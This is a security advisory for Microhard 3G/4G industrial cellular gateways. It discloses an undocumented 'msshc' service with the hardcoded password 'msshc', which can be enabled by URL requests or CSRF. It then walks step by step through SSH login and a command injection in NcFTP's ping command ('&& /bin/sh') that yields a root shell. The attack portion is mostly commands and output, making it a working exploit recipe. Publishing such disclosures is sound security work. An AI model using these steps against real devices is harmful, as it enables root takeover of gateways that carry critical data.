Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway – Restricted Shell Escape
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak Vendor: Microhard Systems Inc. Product web page: http://www.microhardcorp.com Affected version: IPn4G 1.1.0 build 1098 IPn3Gb 2.2.0 build 2160 IPn4Gb 1.1.6 build 1184-14 IPn4Gb 1.1.0 Rev 2 build 1090-2 IPn4Gb 1.1.0 Rev 2 build 1086 Bullet-3G 1.2.0 Rev A build 1032 VIP4Gb 1.1.6 build 1204 VIP4G 1.1.6 Rev 3.0 build 1184-14 VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196 IPn3Gii / Bullet-3G 1.2.0 build 1076 IPn4Gii / Bullet-LTE 1.2.0 build 1078 BulletPlus 1.3.0 build 1036 Dragon-LTE 1.1.0 build 1036 Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial RS232/485/422 devices! The IPn3Gb provides a fast, secure industrial strength wireless solution that uses the widespread deployment of cellular network infrastructure for critical data collection. From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers! The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It provides robust and secure wireless communication of Serial, USB and Ethernet data. The all new Bullet-3G provides a compact, robust, feature packed industrial strength wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things to the next level by providing features such as Ethernet with PoE, RS232 Serial port and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution worth looking at! The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight system integration and design flexibility with dual Ethernet Ports and high power 802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access Control Lists, the Dragon-LTE provides a solution for any cellular application! The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE network infrastructure for critical data communications. The VIP4Gb provides simultaneous network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network. It provides robust and secure wireless communication of Serial, Ethernet & WiFi data. Desc: The web shell application includes a service called Microhard Sh that is documented only as 'reserved for internal use'. This service can be enabled by an authenticated user within the Services menu in the web admin panel. This can also be enabled via CSRF attack. When the service is enabled, a user 'msshc' is created on the system with password 'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP jailed environment, that has limited commands for file transfer administration. One of the commands is a custom added 'ping' command that has a command injection vulnerability that allows the attacker to escape the restricted environment and enter into a root shell terminal that can execute commands as the root user. Tested on: httpd-ssl-1.0.0 Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5486 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php 13.03.2018 -- 1) Enable Microhard Sh service: ------------------------------- http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start) 2) Check what happens when enabling Microhard Sh service: --------------------------------------------------------- # cat /etc/init.d/msshc #!/bin/sh /etc/rc.common # Copyright (C) 2013 Microhardcorp start() { deluser msshc rm -rf /tmp/msshc mkdir -p /tmp/msshc msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh") [ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells passwd=$(/sbin/uci get msshc.general.passwd) echo "$passwd" >> /etc/passwd } stop() { deluser msshc rm -rf /tmp/msshc } 3) Check the /etc/msshc.sh script: ---------------------------------- # cat /etc/msshc.sh #!/bin/sh # Copyright (C) 2013 Microhardcorp /usr/bin/ncftp exit 0 4) Check the /sbin/uci binary: ------------------------------ Usage: /sbin/uci [<options>] <command> [<arguments>] Commands: batch export [<config>] import [<config>] changes [<config>] commit [<config>] add <config> <section-type> add_list <config>.<section>.<option>=<string> show [<config>[.<section>[.<option>]]] get <config>.<section>[.<option>] set <config>.<section>[.<option>]=<value> delete <config>[.<section[.<option>]] rename <config>.<section>[.<option>]=<name> revert <config>[.<section>[.<option>]] Options: -c <path> set the search path for config files (default: /etc/config) -d <str> set the delimiter for list values in uci show -f <file> use <file> as input instead of stdin -L do not load any plugins -m when importing, merge data into an existing package -n name unnamed sections on export (default) -N don't name unnamed sections -p <path> add a search path for config change files -P <path> add a search path for config change files and use as default -q quiet mode (don't print error messages) -s force strict mode (stop on parser errors, default) -S disable strict mode -X do not use extended syntax on 'show' # /sbin/uci get msshc.general.passwd msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh 5) Check the NcFTP binary: -------------------------- # /usr/bin/ncftp -h Usage: ncftp [flags] [<host> | <directory URL to browse>] Flags: -u XX Use username XX instead of anonymous. -p XX Use password XX with the username. -P XX Use port number XX instead of the default FTP service port (21). -j XX Use account XX with the username (rarely needed). -F Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit. Program version: NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM Library version: LibNcFTP 3.2.5 (January 17, 2011) Build system: Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma... This is a freeware program by Mike Gleason (http://www.NcFTP.com). A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/ Use ncftpget and ncftpput for command-line FTP and file URLs. 6) Go to jail: -------------- lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 msshc@192.168.1.1 The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established. RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts. msshc@192.168.1.1's password: NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/). Copyright (c) 1992-2011 by Mike Gleason. All rights reserved. ncftp> ? Commands may be abbreviated. 'help showall' shows hidden and unsupported commands. 'help <command>' gives a brief description of <command>. ascii close help mkdir put rename set umask binary debug lls open pwd rhelp show cd dir lrm passive quit rm site chmod get ls ping quote rmdir type For details, please see the manual ("man ncftp" at your regular shell prompt or online at http://www.NcFTP.com/ncftp/doc/ncftp.html). ncftp> help showall Commands may be abbreviated. 'help showall' shows hidden and unsupported commands. 'help <command>' gives a brief description of <command>. ? chmod exit ls mv pwd rhelp site ascii close get mget open quit rm type binary debug help mkdir passive quote rmdir umask bye delete lls mls ping rename set cd dir lrm mput put rglob show For details, please see the manual ("man ncftp" at your regular shell prompt or online at http://www.NcFTP.com/ncftp/doc/ncftp.html). ncftp> ls ls: must be connected to do that. ncftp> man ncftp man: no such command. ncftp> pwd pwd: must be connected to do that. ncftp> show anon-password NcFTP@ auto-ascii |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls| auto-resume no autosave-bookmark-changes no confirm-close no connect-timeout 20 control-timeout 135 logsize 10240 pager more passive optional progress-meter 2 (statbar) redial-delay 20 save-passwords ask show-status-in-xterm-titlebar no so-bufsize 0 (use system default) xfer-timeout 3600 yes-i-know-about-NcFTPd no ncftp> 7) The Shawshank Redemption: ---------------------------- ncftp> ping -c1 -4 0.0.0.0 `id` BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary Usage: ping [OPTIONS] HOST Send ICMP ECHO_REQUEST packets to network hosts Options: -4, -6 Force IPv4 or IPv6 hostname resolution -c CNT Send only CNT pings -s SIZE Send SIZE data bytes in packets (default:56) -I IFACE/IP Use interface or IP address as source -W SEC Seconds to wait for the first response (default:10) (after all -c CNT packets are sent) -w SEC Seconds until ping exits (default:infinite) (can exit earlier with -c CNT) -q Quiet, only displays output at start and when finished ncftp> 8) Come on Andy: ---------------- ncftp> ping -c1 -4 0.0.0.0 && /bin/sh PING 0.0.0.0 (0.0.0.0): 56 data bytes 64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms --- 0.0.0.0 ping statistics --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.423/0.423/0.423 ms BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash) Enter 'help' for a list of built-in commands. /tmp/msshc # id ; uname -r uid=0(root) gid=0(root) 2.6.32.9 /tmp/msshc # |